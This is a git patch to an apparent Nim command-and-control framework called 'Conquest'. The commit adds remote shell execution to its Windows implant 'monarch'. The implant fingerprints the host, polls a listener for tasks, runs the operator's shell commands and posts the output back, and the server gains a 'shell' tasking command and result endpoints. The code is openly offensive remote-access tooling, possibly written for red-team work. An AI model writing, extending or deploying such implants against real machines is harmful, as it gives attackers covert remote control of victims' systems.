From 1b147aacd6d169ab8bfaccee2ca5e776cdea3923 Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Thu, 22 May 2025 20:03:22 +0200 Subject: [PATCH] Implemented basic shell command execution and result retrieval. Next Step: Remove completed tasks from queue --- agents/monarch/agentinfo.nim | 2 +- agents/monarch/client.nim | 12 +++++--- agents/monarch/commands/commands.nim | 3 ++ agents/monarch/commands/shell.nim | 9 +++++- agents/monarch/http.nim | 28 ++++++++++++++---- agents/monarch/task.nim | 26 +++++++++++++++++ agents/monarch/types.nim | 6 ++-- server/agent/agent.nim | 40 ++++++++++++++++++++++---- server/agent/commands.nim | 2 ++ server/agent/commands/shell.nim | 21 ++++++++++++++ server/agent/interact.nim | 16 +++++++++-- server/db/dbAgent.nim | 4 +-- server/listener/api.nim | 43 +++++++++++++++++++++++----- server/listener/listener.nim | 8 +++--- server/server.nim | 2 +- server/tui.nim | 2 +- server/types.nim | 2 +- 17 files changed, 187 insertions(+), 39 deletions(-) create mode 100644 agents/monarch/commands/commands.nim create mode 100644 agents/monarch/task.nim create mode 100644 server/agent/commands.nim create mode 100644 server/agent/commands/shell.nim diff --git a/agents/monarch/agentinfo.nim b/agents/monarch/agentinfo.nim index 01004d6..b559a66 100644 --- a/agents/monarch/agentinfo.nim +++ b/agents/monarch/agentinfo.nim @@ -69,7 +69,7 @@ proc getIPv4Address*(): string = # Windows Version fingerprinting proc getProductType(): ProductType = - # Instead, we retrieve the product key from the registry + # The product key is retrieved from the registry # HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions # ProductType REG_SZ WinNT # Possible values are: diff --git a/agents/monarch/client.nim b/agents/monarch/client.nim index d00eb66..36176b7 100644 --- a/agents/monarch/client.nim +++ b/agents/monarch/client.nim @@ -1,7 +1,7 @@ import strformat, os, times import winim -import ./[types, http] +import ./[types, http, task] import commands/shell proc main() = @@ -19,7 +19,7 @@ proc main() = echo fmt"[+] [{agent}] Agent registered." #[ - Infinite Routine: + Agent routine: 1. Sleep Obfuscation 2. Retrieve task from /tasks endpoint 3. Execute task and post result to /results @@ -31,10 +31,14 @@ proc main() = sleep(10 * 1000) let date: string = now().format("dd-MM-yyyy HH:mm:ss") - echo fmt"[{date}] Checking for tasks..." + echo fmt"[{date}] Checking in." - discard getTasks(listener, agent) + let tasks: seq[Task] = getTasks(listener, agent) + for task in tasks: + let result = task.handleTask() + discard postResults(listener, agent, result) + when isMainModule: main() \ No newline at end of file diff --git a/agents/monarch/commands/commands.nim b/agents/monarch/commands/commands.nim new file mode 100644 index 0000000..eb35cb3 --- /dev/null +++ b/agents/monarch/commands/commands.nim @@ -0,0 +1,3 @@ +import ./[shell] + +export shell \ No newline at end of file diff --git a/agents/monarch/commands/shell.nim b/agents/monarch/commands/shell.nim index b28598d..12f1600 100644 --- a/agents/monarch/commands/shell.nim +++ b/agents/monarch/commands/shell.nim @@ -1,3 +1,10 @@ -import winim +import winim, osproc, strutils import ../types + +proc executeShellCommand*(command: seq[string]): TaskResult = + + echo command.join(" ") + let (output, status) = execCmdEx(command.join(" ")) + + return output diff --git a/agents/monarch/http.nim b/agents/monarch/http.nim index 516efaa..ef49668 100644 --- a/agents/monarch/http.nim +++ b/agents/monarch/http.nim @@ -38,15 +38,33 @@ proc getTasks*(listener: string, agent: string): seq[Task] = try: # Register agent to the Conquest server let responseBody = waitFor client.getContent(fmt"http://localhost:5555/{listener}/{agent}/tasks") - echo responseBody + return parseJson(responseBody).to(seq[Task]) + except HttpRequestError as err: + echo "Not found" + quit(0) + + finally: + client.close() + + return @[] + +proc postResults*(listener, agent: string, task: Task): bool = + + let client = newAsyncHttpClient() + + # Define headers + client.headers = newHttpHeaders({ "Content-Type": "application/json" }) + + let taskJson = %task + + try: + # Register agent to the Conquest server + discard waitFor client.postContent(fmt"http://localhost:5555/{listener}/{agent}/{task.id}/results", $taskJson) except HttpRequestError as err: echo "Not found" quit(0) finally: client.close() - return @[] - -proc postResults*(listener: string, agent: string, results: string) = - discard \ No newline at end of file + return true \ No newline at end of file diff --git a/agents/monarch/task.nim b/agents/monarch/task.nim new file mode 100644 index 0000000..5bc4ea0 --- /dev/null +++ b/agents/monarch/task.nim @@ -0,0 +1,26 @@ +import ./types +import ./commands/commands + +proc handleTask*(task: Task): Task = + + # Handle task command + case task.command: + of ExecuteShell: + + let cmdResult = executeShellCommand(task.args) + echo cmdResult + + return Task( + id: task.id, + agent: task.agent, + command: task.command, + args: task.args, + result: cmdResult, + status: Completed + ) + + else: + echo "Not implemented" + return nil + + return task \ No newline at end of file diff --git a/agents/monarch/types.nim b/agents/monarch/types.nim index 13b7379..0a35e33 100644 --- a/agents/monarch/types.nim +++ b/agents/monarch/types.nim @@ -1,6 +1,6 @@ import winim -type +type TaskCommand* = enum ExecuteShell = "shell" ExecuteBof = "bof" @@ -17,12 +17,12 @@ type TaskResult* = string Task* = ref object - id*: int + id*: string agent*: string command*: TaskCommand args*: seq[string] result*: TaskResult - status*: TaskStatus + status*: TaskStatus type ProductType* = enum diff --git a/server/agent/agent.nim b/server/agent/agent.nim index 336f9e8..61f5816 100644 --- a/server/agent/agent.nim +++ b/server/agent/agent.nim @@ -1,4 +1,4 @@ -import terminal, strformat, strutils, tables +import terminal, strformat, strutils, sequtils, tables, json import ./interact import ../[types, globals, utils] import ../db/database @@ -98,10 +98,10 @@ proc agentInteract*(cq: Conquest, name: string) = # Change prompt indicator to show agent interaction cq.setIndicator(fmt"[{agent.name}]> ") cq.setStatusBar(@[("[mode]", "interact"), ("[username]", fmt"{agent.username}"), ("[hostname]", fmt"{agent.hostname}"), ("[ip]", fmt"{agent.ip}"), ("[domain]", fmt"{agent.domain}")]) - cq.writeLine(fgYellow, "[+] ", resetStyle, fmt"Started interacting with agent ", fgYellow, agent.name, resetStyle, ". Type 'help' to list available commands.\n") + cq.writeLine(fgYellow, styleBright, "[+] ", resetStyle, fmt"Started interacting with agent ", fgYellow, styleBright, agent.name, resetStyle, ". Type 'help' to list available commands.\n") cq.interactAgent = agent - while command != "back": + while command.replace(" ", "") != "back": command = cq.readLine() cq.withOutput(handleAgentCommand, command) @@ -120,7 +120,7 @@ proc register*(agent: Agent): bool = # TODO: Verify that the listener accessed is also the listener specified in the URL # This can be achieved by extracting the port number from the `Host` header and matching it to the one queried from the database if not cq.dbListenerExists(agent.listener.toUpperAscii): - cq.writeLine(fgRed, styleBright, fmt"[-] Agent from {agent.ip} attempted to register to non-existent listener: {agent.listener}.", "\n") + cq.writeLine(fgRed, styleBright, fmt"[-] {agent.ip} attempted to register to non-existent listener: {agent.listener}.", "\n") return false # Store agent in database @@ -131,4 +131,34 @@ proc register*(agent: Agent): bool = cq.add(agent) cq.writeLine(fgYellow, styleBright, fmt"[{agent.firstCheckin}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.name, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listener, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n") - return true \ No newline at end of file + return true + +proc getTasks*(listener, agent: string): JsonNode = + + {.cast(gcsafe).}: + + # Check if listener exists + if not cq.dbListenerExists(listener.toUpperAscii): + cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listener}.", "\n") + return nil + + # Check if agent exists + if not cq.dbAgentExists(agent.toUpperAscii): + cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent agent: {agent}.", "\n") + return nil + + # TODO: Update the last check-in date for the accessed agent + + let agent = cq.agents[agent] + return %agent.tasks.filterIt(it.status != Completed) + +proc handleResult*(listener, agent, task: string, taskResult: Task) = + + {.cast(gcsafe).}: + + cq.writeLine(fgBlack, styleBright, fmt"[*] [{task}] ", resetStyle, "Task execution finished.") + cq.writeLine(taskResult.result) + + # TODO: Remove completed task from the queue + + return \ No newline at end of file diff --git a/server/agent/commands.nim b/server/agent/commands.nim new file mode 100644 index 0000000..d75d876 --- /dev/null +++ b/server/agent/commands.nim @@ -0,0 +1,2 @@ +import ./commands/[shell] +export shell \ No newline at end of file diff --git a/server/agent/commands/shell.nim b/server/agent/commands/shell.nim new file mode 100644 index 0000000..2978955 --- /dev/null +++ b/server/agent/commands/shell.nim @@ -0,0 +1,21 @@ +import nanoid, sequtils, strutils, strformat, terminal, times +import ../../types + +proc taskExecuteShell*(cq: Conquest, arguments: seq[string]) = + + # Create a new task + let + date: string = now().format("dd-MM-yyyy HH:mm:ss") + task = Task( + id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), + agent: cq.interactAgent.name, + command: ExecuteShell, + args: arguments, + result: "", + status: Created + ) + + # Add new task to the agent's task queue + cq.interactAgent.tasks.add(task) + + cq.writeLine(fgBlack, styleBright, fmt"[*] [{task.id}] ", resetStyle, "Tasked agent to execute shell command.") \ No newline at end of file diff --git a/server/agent/interact.nim b/server/agent/interact.nim index 2f3b83c..4e59fc1 100644 --- a/server/agent/interact.nim +++ b/server/agent/interact.nim @@ -1,5 +1,6 @@ -import argparse, times, strformat, terminal +import argparse, times, strformat, terminal, nanoid import ../[types] +import ./commands #[ Agent Argument parsing @@ -9,6 +10,8 @@ var parser = newParser: command("shell"): help("Execute a shell command.") + arg("command", help="Command", nargs = 1) + arg("arguments", help="Arguments.", nargs = -1) # Handle 0 or more command-line arguments (seq[string]) command("help"): nohelpflag() @@ -22,19 +25,26 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) = if args[0].replace(" ", "").len == 0: return let date: string = now().format("dd-MM-yyyy HH:mm:ss") - cq.writeLine(fgCyan, fmt"[{date}] ", fgYellow, fmt"[{cq.interactAgent.name}] ", resetStyle, styleBright, args[0]) + cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", fgYellow, fmt"[{cq.interactAgent.name}] ", resetStyle, styleBright, args[0]) try: let opts = parser.parse(args[0].split(" ").filterIt(it.len > 0)) case opts.command - + of "back": # Return to management mode discard of "help": # Display help menu cq.writeLine(parser.help()) + of "shell": + var + command: string = opts.shell.get.command + arguments: seq[string] = opts.shell.get.arguments + arguments.insert(command, 0) + cq.taskExecuteShell(arguments) + # Handle help flag except ShortCircuit as err: if err.flag == "argparse_help": diff --git a/server/db/dbAgent.nim b/server/db/dbAgent.nim index 3c8c175..7870ca2 100644 --- a/server/db/dbAgent.nim +++ b/server/db/dbAgent.nim @@ -44,8 +44,7 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] = elevated: elevated, firstCheckin: firstCheckin, jitter: jitter, - process: process, - tasks: @[] + process: process ) agents.add(a) @@ -80,7 +79,6 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] = firstCheckin: firstCheckin, jitter: jitter, process: process, - tasks: @[] ) agents.add(a) diff --git a/server/listener/api.nim b/server/listener/api.nim index c43be38..9e127c4 100644 --- a/server/listener/api.nim +++ b/server/listener/api.nim @@ -1,4 +1,4 @@ -import prologue, nanoid +import prologue, nanoid, json import sequtils, strutils, times import ../[types] @@ -65,19 +65,48 @@ proc register*(ctx: Context) {.async.} = ]# proc getTasks*(ctx: Context) {.async.} = - stdout.writeLine(ctx.getPathParams("listener")) - let name = ctx.getPathParams("agent") + let + listener = ctx.getPathParams("listener") + agent = ctx.getPathParams("agent") + let tasksJson = getTasks(listener, agent) + + # If agent/listener is invalid, return a 404 Not Found error code + if tasksJson == nil: + resp "", Http404 + + # Return all currently active tasks as a JsonObject + resp jsonResponse(tasksJson) - resp name #[ - POST /{listener-uuid}/{agent-uuid}/results + POST /{listener-uuid}/{agent-uuid}/{task-uuid}/results Called from agent to post results of a task ]# proc postResults*(ctx: Context) {.async.} = - let name = ctx.getPathParams("agent") + let + listener = ctx.getPathParams("listener") + agent = ctx.getPathParams("agent") + task = ctx.getPathParams("task") - resp name \ No newline at end of file + # Check headers + # If POST data is not JSON data, return 404 error code + if ctx.request.contentType != "application/json": + resp "", Http404 + return + + try: + let + taskResultJson: JsonNode = parseJson(ctx.request.body) + taskResult: Task = taskResultJson.to(Task) + + # Handle and display task result + handleResult(listener, agent, task, taskResult) + + except CatchableError: + # JSON data is invalid or does not match the expected format (described above) + resp "", Http404 + + return \ No newline at end of file diff --git a/server/listener/listener.nim b/server/listener/listener.nim index 86494ea..ac2ed7f 100644 --- a/server/listener/listener.nim +++ b/server/listener/listener.nim @@ -48,7 +48,7 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) = # Define API endpoints listener.post("{listener}/register", api.register) listener.get("{listener}/{agent}/tasks", api.getTasks) - listener.post("{listener}/{agent}/results", api.postResults) + listener.post("{listener}/{agent}/{task}/results", api.postResults) listener.registerErrorHandler(Http404, api.error404) # Store listener in database @@ -62,7 +62,7 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) = cq.add(listenerInstance) cq.writeLine(fgGreen, "[+] ", resetStyle, "Started listener", fgGreen, fmt" {name} ", resetStyle, fmt"on port {portStr}.") except CatchableError as err: - cq.writeLine(fgRed, styleBright, "[-] Failed to start listener: ", getCurrentExceptionMsg()) + cq.writeLine(fgRed, styleBright, "[-] Failed to start listener: ", err.msg) proc restartListeners*(cq: Conquest) = let listeners: seq[Listener] = cq.dbGetAllListeners() @@ -81,7 +81,7 @@ proc restartListeners*(cq: Conquest) = # Define API endpoints listener.post("{listener}/register", api.register) listener.get("{listener}/{agent}/tasks", api.getTasks) - listener.post("{listener}/{agent}/results", api.postResults) + listener.post("{listener}/{agent}/{task}/results", api.postResults) listener.registerErrorHandler(Http404, api.error404) try: @@ -89,7 +89,7 @@ proc restartListeners*(cq: Conquest) = cq.add(l) cq.writeLine(fgGreen, "[+] ", resetStyle, "Restarted listener", fgGreen, fmt" {l.name} ", resetStyle, fmt"on port {$l.port}.") except CatchableError as err: - cq.writeLine(fgRed, styleBright, "[-] Failed to restart listener: ", getCurrentExceptionMsg()) + cq.writeLine(fgRed, styleBright, "[-] Failed to restart listener: ", err.msg) # Delay before starting serving another listener to avoid crashing the application waitFor sleepAsync(10) diff --git a/server/server.nim b/server/server.nim index fbf3fcc..92eac50 100644 --- a/server/server.nim +++ b/server/server.nim @@ -57,7 +57,7 @@ proc handleConsoleCommand*(cq: Conquest, args: varargs[string]) = if args[0].replace(" ", "").len == 0: return let date: string = now().format("dd-MM-yyyy HH:mm:ss") - cq.writeLine(fgCyan, fmt"[{date}] ", resetStyle, styleBright, args[0]) + cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", resetStyle, styleBright, args[0]) try: let opts = parser.parse(args[0].split(" ").filterIt(it.len > 0)) diff --git a/server/tui.nim b/server/tui.nim index e619b10..5269340 100644 --- a/server/tui.nim +++ b/server/tui.nim @@ -37,7 +37,7 @@ proc renderBaseView(ui: var UserInterface) = ui.tb.setForegroundColor(fgWhite, bright=false) ui.tb.drawRect(ui.x.start, 3, ui.tb.width-1, ui.tb.height-2) - ui.tb.setForegroundColor(fgCyan, bright=false) + ui.tb.setForegroundColor(fgBlue, styleBright, bright=false) ui.tb.write(ui.x.start, 5, fmt"Width: {ui.tb.width}") ui.tb.write(ui.x.start, 6, fmt"Center: {ui.x.center}") ui.tb.write(ui.x.start, 7, fmt"Height: {ui.tb.height}") diff --git a/server/types.nim b/server/types.nim index 4c5b91f..31673c7 100644 --- a/server/types.nim +++ b/server/types.nim @@ -23,7 +23,7 @@ type TaskResult* = string Task* = ref object - id*: int + id*: string agent*: string command*: TaskCommand args*: seq[string]